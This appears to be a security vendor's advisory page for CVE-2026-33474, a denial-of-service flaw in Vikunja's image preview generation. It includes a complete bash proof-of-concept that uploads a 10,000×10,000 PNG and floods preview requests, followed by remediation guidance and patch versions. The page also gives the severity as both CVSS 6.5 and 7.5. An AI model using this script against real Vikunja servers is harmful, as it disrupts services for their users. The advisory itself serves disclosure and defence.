CVE-2026-33474 — api
MEDIUMCVE-2026-33474 is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja Affected by DoS via Image Preview Generation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33474.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33474 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
- Affected code:
- Decoding without bounds: task_attachment.go:GetPreview
- Resizing path: resizeImage
- Endpoint invoking preview: GetTaskAttachment
- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Preconditions
- API running locally (
http://localhost:8080). - Task attachments enabled:
task_attachments_enabled=truein Info. - Any authenticated user with write access to a task.
How It Works
- Preview generation decodes the full image via
image.Decodeand resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.
Run The POC
- Script:
#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:[email protected]}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"
mkdir -p "$OUT_DIR"
echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
echo "[!] Task attachments disabled"
exit 1
fi
echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
-H 'Content-Type: application/json' \
-d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
| tee "$OUT_DIR/register.json" >/dev/null || true
echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
-H 'Content-Type: application/json' \
-d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
| tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
echo "[!] Failed to get token"
exit 1
fi
echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"title":"'"$PROJECT_TITLE"'"}' \
| tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
echo "[!] Failed to get project id"
exit 1
fi
echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"title":"'"$TASK_TITLE"'"}' \
| tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
echo "[!] Failed to get task id"
exit 1
fi
echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true
echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
-H "Authorization: Bearer $TOKEN" \
-F "files=@$OUT_DIR/huge.png" \
| tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
echo "[!] Failed to get attachment id"
exit 1
fi
echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
"$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
-H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true
echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
'$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
-H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"
- Uses
curlandpython3(Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.
Steps
- Ensure the API is running on
http://localhost:8080. - Execute:
bash pocs/image-preview-dos/poc.sh - Outputs of interest:
/tmp/vikunja-poc-dos/time_xl.txt:/usr/bin/time -ltiming and memory for the preview request./tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed./tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.
Environment Overrides
- BASE_URL: API base (default
http://localhost:8080) - USERNAME, EMAIL, PASSWORD: credentials for the test user
- PROJECT_TITLE, TASK_TITLE: names for test artifacts
- OUT_DIR: output directory (default
/tmp/vikunja-poc-dos)
Expected Results
- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
- Subsequent requests are faster due to caching.
- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.
Remediation
- Enforce bounds prior to decode:
- Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
- Fail early by reading headers to extract dimensions before full decode.
- Add per-user and per-attachment rate limiting for preview generation.
- Pre-generate previews asynchronously with throttling and backpressure.
- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.
Notes
- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | ≥ 1.0.0-rc0&&< 2.2.0 | 2.2.0go get code.vikunja.io/api@v2.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33474 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33474 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33474. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33474 in your dependencies?
O3 Security finds CVE-2026-33474 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.